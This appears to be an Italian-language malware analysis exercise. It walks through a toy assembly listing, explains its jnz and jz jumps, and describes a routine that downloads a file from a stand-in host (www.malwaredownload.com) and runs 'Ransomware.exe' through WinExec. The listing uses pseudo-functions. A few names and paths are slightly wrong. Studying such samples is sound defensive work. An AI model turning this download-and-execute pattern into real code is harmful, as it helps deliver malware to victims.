

Analisi Avanzata: Approccio Pratico

Uno dei salti condizionali che effettua è `jnz`. Jnz salta alla locazione specificata se ZF non è 1, ovvero cioè 0. Nel caso qui presente salterà alla locazione `0040BBA0`

L'altro condizionale che troviamo è `jz` che salta ad una memoria specificata se ZF è uguale a 1. Jz salterà alla locazione `0040FFA0`.

| Locazione | Istruzione | Operandi | Note |
|-----------|------------|--------------|-------------|
| 00401040 | mov | EAX, 5 | |
| 00401044 | mov | EBX, 10 | |
| 00401048 | cmp | EAX, 5 | |
| 0040105B | jnz | loc 0040BBA0 | ; tabella 2 |
| 0040105F | inc | EBX | |
| 00401064 | cmp | EBX, 11 | |
| 00401068 | jz | loc 0040FFA0 | ; tabella 3 |

Funzionalità implementate

Le funzionalità implementata che è presente. E' `URLDownloaderToFile()`, il quale andrà a scaricare da internet file o malware che verranno salvati all'interno del disco rigido del pc. Dopo aver scaricato il malware procede all'avvio. Per farlo utilizzerà `WinExec()` che eseguirà l'eseguibile.

Funzione Call

Call fa la chiamata e usa l'operatore `DownloadToFile()`, al quale arriveranno i parametri da `mov` e `push`.

| Locazione | Istruzione | Operandi | Note |
|-----------|------------|------------------|------------------------------|
| 0040BBA0 | mov | EAX, EDI | EDI= www.malwaredownload.com |
| 0040BBA4 | push | EAX | ; URL |
| 0040BBA8 | call | DownloadToFile() | ; pseudo funzione |

Call fa la chiamata usando l'operatore `WinExec()`. EDI viene copiato nel registro EDX, il quale avrà i parametri di di EDI,. L'istruzione `push` spinge EAX sullo stack, passando l'ultimo parametro.

| Locazione | Istruzione | Operandi | Note |
|-----------|------------|-----------|--|
| 0040FFA0 | mov | EDX, EDI | EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe |
| 0040FFA4 | push | EDX | ; .exe da eseguire |
| 0040FFA8 | call | WinExec() | ; pseudo funzione |

